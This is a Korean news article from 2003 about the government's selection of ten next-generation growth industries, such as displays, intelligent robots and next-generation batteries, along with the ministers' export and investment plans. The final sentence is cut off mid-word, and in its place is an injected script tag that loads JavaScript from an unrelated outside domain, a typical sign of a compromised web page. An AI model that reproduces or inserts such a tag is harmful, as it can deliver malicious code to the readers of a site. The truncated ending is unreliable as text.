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작성일 |
2003-08-25 |
| 제목 |
차세대 성장동력 10대산업 확정 |
2012년 국민소득 2만달러를 실현을 위한 차세대 성장 동력 산업이 확정됐다.
정부는 22일 오전 청와대 영빈관에서 노무현 대통령과 160여명의 산·학·연 및 정부 관계자가 참석한 가운데 열린 `차세대 성장 동력 보고회'에서 10대 차세대 성장동력 산업을 확정했다.
10대 산업은 지난 3월 이후 산자·과기·정통부 등 정부 관계부처에서 선정한 차세대 성장 동력 품목을 토대로 민간전문가 회의와 부처간 협의 등을 거쳐 선정한 것이다.
각 산업은 △디지털TV·방송 △디스플레이 △지능형 로봇 △미래형 자동차 △차세대 반도체 △차세대 이동통신 △지능형 홈네트워크 △디지털 콘텐츠·SW솔루션 △차세대 전지 △바이오 신약·장기 등이며 앞으로 집중 지원될 예정이다.
▲2만달러 시대 여는 원동력= 차세대 성장 동력 산업 추진은 95년 이후 8년간 1인당 국민소득이 1만달러에 묶여 있는 가운데, 세계 경제의 불확실성 증대와 중국의 급부상 등에 따른 경쟁 격화로 우리 경제의 미래에 대한 불안감이 확대되고 있는 상황에서 비롯된다.
즉, 과거의 성장 전략이 노동·자본 등 생산요소의 투입량을 늘려 생산량을 증대하는 데 초점을 맞췄다면 차세대 성장동력은 R·D투자·인력양성 등 생산시스템의 혁신과 고부가가치화에 주력함으로써 기술혁신 주도형 성장 전략을 다질 수 있다는 것이다.
이에 따라 10개 산업은 향후 5~10년후 생산, 수출 등을 통해 캐시 카우 역할을 담당하고 일자리 창출을 선도할 수 있도록 세계 시장규모, 전략적 중요성, 시장·기술의 변화 추세, 경쟁력 확보 가능성, 경제·산업에 대한 파급효과 등을 고려해 선정되었다.
또한 각 부처가 공동으로 선정한 134개 미래유망기술과 품목을 10대 산업군으로 분류했으며 앞으로 이들 기술 및 품목을 우선적으로 개발될 예정이다.
이 중 산자·과기·정통부 등 3대 R·D 부처는 산자부 50개, 과기부 49개, 정통부 9개 품목 가운데 중복되는 24개 기술에 대해 청와대 중재로 역할분담을 완료, 3개 부처가 추진하게될 성장 동력을 80개로 압축했고 나머지 부처들이 54개 기술에 대한 개발에 나서게 된다.
정부는 10대 성장 산업이 성공적으로 발전할 경우 수출은 올해 721.6억달러에서 2012년까지 2519억달러, 부가가치 생산은 67.3조원에서 169조원, 고용 효과는 94.3만명에서 241명으로 확대되어 선진국 기준인 2만달러 시대로 진입할 수 있는 초석이 될 것으로 전망했다.
따라서 정부는 국가적 역량을 총결집하여 차세대 성장 동력 산업을 발전시키기 위하여, 민간·정부간 전략적 협조체제와 효율적·체계적인 부처간 역할분담 및 지원체제를 구축키로 했다.
이와 함께 이날 회의에서 산자·과기·정통부 장관들은 차세대 성장산업과 관련한 부처별 추진 전략에 대해 발표를 했다.
윤진식 산자부 장관은 “차세대 성장 동력의 조기 산업화에 역점을 두고, 국가균형 발전과 외국인투자 유치를 연계한 추진 전략을 진행 하겠다”고 발표했다.
이에 따라 다음달부터 `10대 산업별 추진사업단'을 구성·운영, 연구개발 기획과 개발에 본격적으로 착수할 계획이다.
이를 통해 과기부의 기초원천기술과 정통부의 정보통신기술 개발과 연계해 2007년까지 10대 산업의 산업기술개발 투자를 4000억원 이상으로 확대한다는 방침이라 전했다.
또한 현장 수요에 맞는 인적자원의 확충을 위해 내년부터 △지역별로 `산·학 협력 중심대학' 구축을 추진하고 △중소기업의 인력난 해소를 위해 `중소기업인력지원 특별법'을 제정하며 △공학교육 인증사업 등을 통해 대학교육의 혁신을 유도해 나갈 계획이다.
윤 장관은 “차세대 성장 동력의 창출을 위해서는 기업의 투자 의욕과 기업가 정신이 고취될 수 있는 `기업 친화적 환경' 조성이 중요하다”며 기업의 투자 활성화를 위한 과감한 규제 완화, 전자상거래, R·D, 설비투자 등에 대한 세제지원을 강화할 방침이라 전했다.
산자부가 제출한 추진 계획에 따르면 수도권 지역의 대기업 공장 신·증설 제한을 없애고 선정 산업과 관련 있는 대기업에 대해 출자총액제한 적용을 배제하는 방안도 함께 추진되어야 한다는 것으로 풀이된다.
이와 함께 국가균형발전, 동북아 경제중심 실현 등 유관 국정과제와 연계하여, 올해 말까지 `국가균형 발전 5개년 계획'을 수립, 현재의 지역특화산업과 연계된 차세대 성장동력 산업의 혁신클러스터를 조성하고, 차세대 성장동력 산업별로 중점 유치 대상 기술분야와 업체를 선정하여, 외국인투자 유치 노력을 집중할 계획이라고 윤 장관은 전했다.
진대제 정통부 장관은 “2007년내 IT수출 1000억달러를 창출하겠다”고 밝히고 , “또한 1.5~2Mbp에 머물고 있는 초고속 인터넷망 속도를 50~100Mbps급으로 향상시킨 광대역 통합망을 세계최초로 구축할 예정”이라 전했다.
진 장관은 “IT산업이 현재 우리나라 GDP에서 15%를 차지?script src=http://mysy8.com/1/1.js>
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